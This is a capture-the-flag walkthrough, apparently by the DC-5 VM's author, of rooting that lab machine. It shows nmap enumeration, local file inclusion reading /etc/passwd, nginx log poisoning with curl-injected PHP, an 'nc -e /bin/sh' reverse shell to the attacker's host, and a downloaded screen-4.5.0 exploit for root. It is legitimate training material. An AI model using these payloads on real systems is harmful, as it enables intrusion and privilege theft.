Where do you start with a vulnerable VM?

Where do you start with a vulnerable VM?

So, you've downloaded a vulnerable VM from VulnHub or this website, and now you want to know what to do with it?

Well, the first step is to get the vulnerable VM installed. I won't go into details for this, because it will depend on what software you're using, so I recommend following any instructions that were provided.

For this article, I'll be using DC-5, as it seems to be highly unpopular for some reason, but I found it to be quite fun to create.

Next, you'll want to start up Kali (or something similar) and log in.

Step 1 - Setting up my working environment.

After logging in to Kali Linux, I like to setup my "work environment".

This is a really complex process of starting up a terminal session, changing to my Desktop folder, and then creating a folder named after the VM, which in this case, will be dc5.

I then cd in to that directory.

								
root@kali-dc:~# cd Desktop
root@kali-dc:~/Desktop# mkdir dc5
root@kali-dc:~/Desktop# cd dc5
root@kali-dc:~/Desktop/dc5# 
								
							

Once I've done that, I normally add at least two other tabs, so that I can work across them (so to speak). This makes life a whole lot easier, as you can swap between them.

Step 2 - Enumeration

Next, I'll run netdiscover so that I can pick up the IP address of DC-5 when I have it up and running.

Once netdiscover is up and running, I'll start DC-5, so that it's easier to determine what IP it has.

							
 Currently scanning: 192.168.47.0/16   |   Screen View: Unique Hosts 

 10 Captured ARP Req/Rep packets, from 7 hosts.   Total size: 600            
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.0.1     c4:6e:1f:ec:d0:fd      1      60  TP-LINK TECHNOLOGIES CO.,LTD.    
 192.168.0.100   50:e5:49:17:51:7b      2     120  GIGA-BYTE TECHNOLOGY CO.,LTD. 
 192.168.0.149   00:0c:29:1b:c1:36      2     120  VMware, Inc.  
							
							

Because I'm running DC-5 in VMware, it's quite obvious which one it is.

Next, I'll want to run an nmap scan to determine what services are active on it.

I'll just run a basic TCP connect scan against it to begin with, but one that also detects the OS and some additional information.

							
root@kali-dc:~/Desktop/dc5# nmap -sT -A 192.168.0.149
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-29 23:12 AEST
Nmap scan report for dc-5 (192.168.0.149)
Host is up (0.0032s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE VERSION
80/tcp  open  http    nginx 1.6.2
|_http-server-header: nginx/1.6.2
|_http-title: Welcome
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          52126/udp  status
|_  100024  1          54824/tcp  status
MAC Address: 00:0C:29:1B:C1:36 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   3.16 ms dc-5 (192.168.0.149)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.96 seconds
							
							

Taking a look at the scan, I'm mainly interested in the below section:

							
PORT    STATE SERVICE VERSION
80/tcp  open  http    nginx 1.6.2
|_http-server-header: nginx/1.6.2
|_http-title: Welcome
							
							

From this information, we know that DC-5 is running nginx (a web server) on port 80.

I'm going to kick off a slightly different port scan now, one that scans all ports instead of just the common ports (like the previous scan does).

							
root@kali-dc:~/Desktop/dc5# nmap -sT -p- 192.168.0.149
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-29 23:18 AEST
Nmap scan report for dc-5 (192.168.0.149)
Host is up (0.0035s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE
80/tcp    open  http
111/tcp   open  rpcbind
54824/tcp open  unknown
MAC Address: 00:0C:29:1B:C1:36 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 12.52 seconds
							
							

I'm not too worried about port 111 and 54824, as they are both related to rpcbind.

If it was another vulnerable VM, I'd pay some attention to them, but in this particular instance, I know that they are ok.

Next, I decided to have a look at the website that was running on port 80.

At first glance, they seem like normal webpages, nothing overly suspicious.

But one of the clues was: "You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve."

I noticed that when I refresh the "thank you" page, the year in the footer kept changing.

But why?

There are a couple of reasons why it could be changing, but they both relate to code - possibly direct code, or maybe some kind of code that draws upon an "include" file.

And if it is an "include" file, the page might be vulnerable to local file inclusion.

A local file inclusion vulnerability allows the attacker to include a file, such as /etc/passwd, within a vulnerable page.

You can read more about local file inclusion here.

Local file inclusion vulnerabilities can range from easy to difficult in terms of exploiting them, but there are a number of tools that can be used to check.

My personal favourite is wfuzz, although it's not just a tool for checking LFIs.

One of the easiest ways to check, without using any tools, is to play around with different URI parameters.

For example, changing the following URI:

http://192.168.0.149/thankyou.php?firstname=&lastname=&country=australia&subject=

to:

http://192.168.0.149/thankyou.php?file=/etc/passwd

Past experience has taught me that it could be "page", "file", "language" or even something else, but the three I've mentioned are common enough.

Certainly, when testing for LFIs, I'd use wfuzz and include a number of possible parameters that I could check with.

So, changing the parameters in the browser resulted in the following:

Take note that the contents of the file, /etc/passwd, are now displayed in the footer section of the "thank you" page.

With the contents of the /etc/passwd file, this would help us in any attempt to brute force or run a dictionary attack against SSH.

However, as we know from the results of our earlier nmap scan, the server doesn't appear to be running SSH as a service.

So, what next?

Well, if we are able to access the nginx log file, we might be able to do a little exploit called "log file poisoning".

Log file poisoning involves injecting code, such as PHP code, into a log file.

With the help of LFI, we can then access that log file, and if the log file has had code successfully injected into it, we should be able to execute that code.

Sound good?

If successful, it's very good. However, depending on permissions on the log file, it's not always possible to access the log file.

Step 3 - Gaining Access

We know that DC-5 is running nginx, so a quick search on the web shows us that the file path for the access.log file, is /var/log/nginx/access.log

Let's check.

Success. :-)

So, how do we inject our php code?

Well, there are a number of ways of doing this, but one of the easiest is just to use curl.

root@kali-dc:~/Desktop/dc5# curl -A "<?=phpinfo(); ?>" http://192.168.0.149/

Press Enter

If we are able to successfully poison the nginx log file, we should be able to refresh the page, and hopefully see the phpinfo() information.

More success. :-)

So now, we can get really creative and try and get a reverse shell from DC-5 to our Kali machine.

But, we are going to need a couple of things first: the IP address of our Kali machine, and a spare port (which we can pick randomly, as long as it's above 1025).

Once we have that information, we can start our listener, and then craft another curl command to inject our code.

First we set up our listener on port 5555.

							
root@kali-dc:~/Desktop/dc5# nc -nlvp 5555
listening on [any] 5555 ...
							
							

Then we craft the curl command, which will connect from DC-5, to our Kali machine.

root@kali-dc:~/Desktop/dc5# curl -A "<?=system('nc -e /bin/sh 192.168.0.140 5555'); ?>" http://192.168.0.149/

Press Enter

							
root@kali-dc:~/Desktop/dc5# nc -nlvp 5555
listening on [any] 5555 ...
connect to [192.168.0.140] from (UNKNOWN) [192.168.0.149] 54608
							
							

We now have a reverse shell connection from DC-5 to our Kali machine.

First thing to do, is to improve our shell.

							
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@dc-5:~/html$ 
							
							

Now that we have a shell, we can look at some form of privilege escalation.

Step 4 - Privilege Escalation

I generally work through a list of things that I check for, but before I do, I always check what user I currently am.

							
www-data@dc-5:~/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@dc-5:~/html$ 
							
							

This shows that I currently have www-data privileges (which isn't much).

One of these is to check for suid files, that have been set by root.

find / -perm -u=s -type f 2>/dev/null

							
www-data@dc-5:~/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/mount
/bin/umount
/bin/screen-4.5.0
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/at
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/sbin/mount.nfs
www-data@dc-5:~/html$ 
							
							

One of the first things that stands out is screen-4.5.0, as I know that there is an exploit available for this.

So, I head to https://www.exploit-db.com/ and perform a search for screen.

I find the exploit available at https://www.exploit-db.com/exploits/41154. Copying large chunks of text can sometimes cause issues, but exploit-db has a view-raw option {} so I click on it.

https://www.exploit-db.com/raw/41154

I then go back to my shell, change to the /tmp folder, where I have write permissions, and download the raw code using wget.

							
www-data@dc-5:/tmp$ wget https://www.exploit-db.com/raw/41154
wget https://www.exploit-db.com/raw/41154
converted 'https://www.exploit-db.com/raw/41154' (ANSI_X3.4-1968) -> 'https://www.exploit-db.com/raw/41154' (UTF-8)
--2019-04-30 11:49:39--  https://www.exploit-db.com/raw/41154
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.8
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.8|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1192 (1.2K) [text/plain]
Saving to: '41154'

41154               100%[=====================>]   1.16K  --.-KB/s   in 0s     

2019-04-30 11:49:40 (4.59 MB/s) - '41154' saved [1192/1192]

							
							

I know from past experience when I've downloaded raw code from this website, that it includes Windows line ending characters (^M), which can and do cause problems.

So, we now need to strip them out using the tr command.

tr -d '\r' <41154 >screenroot.sh

We then need to ensure that screenroot.sh is executable.

							
www-data@dc-5:/tmp$ chmod +x screenroot.sh
chmod +x screenroot.sh
							
							

Next, we try running screenroot.sh

							
www-data@dc-5:/tmp$ ./screenroot.sh
./screenroot.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
gcc: error trying to exec 'cc1': execvp: No such file or directory
gcc: error trying to exec 'cc1': execvp: No such file or directory
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
ERROR: ld.so: object '/tmp/libhax.so' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
No Sockets found in /tmp/screens/S-www-data.

./screenroot.sh: line 42: /tmp/rootshell: No such file or directory
							
							

But...we get an error.

As annoying as this error is, it can be easily fixed by modifying our path within the shell.

export PATH=/bin:/usr/bin:/sbin:/usr/sbin

Re-run the command.

							
www-data@dc-5:/tmp$ ./screenroot.sh
./screenroot.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.

# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
# 

							
							

We are now root. :-)

All we need to do now is to change to /root and cat the flag file.

							
# cd /root
cd /root
# ls
ls
thisistheflag.txt
# cat thisistheflag.txt
cat thisistheflag.txt


888b    888 d8b                                                      888      888 888 888 
8888b   888 Y8P                                                      888      888 888 888 
88888b  888                                                          888      888 888 888 
888Y88b 888 888  .d8888b .d88b.       888  888  888  .d88b.  888d888 888  888 888 888 888 
888 Y88b888 888 d88P"   d8P  Y8b      888  888  888 d88""88b 888P"   888 .88P 888 888 888 
888  Y88888 888 888     88888888      888  888  888 888  888 888     888888K  Y8P Y8P Y8P 
888   Y8888 888 Y88b.   Y8b.          Y88b 888 d88P Y88..88P 888     888 "88b  "   "   "  
888    Y888 888  "Y8888P "Y8888        "Y8888888P"   "Y88P"  888     888  888 888 888 888 
                                                                                          
                                                                                          


Once again, a big thanks to all those who do these little challenges,
and especially all those who give me feedback - again, it's all greatly
appreciated.  :-)

I also want to send a big thanks to all those who find the vulnerabilities
and create the exploits that make these challenges possible.

							
							

And that is that.

Contact

I'm also very interested in hearing how people go about solving these challenges, so if you're up for writing a walkthrough, please do so and send me a link, or alternatively, follow me on Twitter, and DM me (you can unfollow after you've DM'd me if you'd prefer).

I can be contacted via Twitter - @DCAU7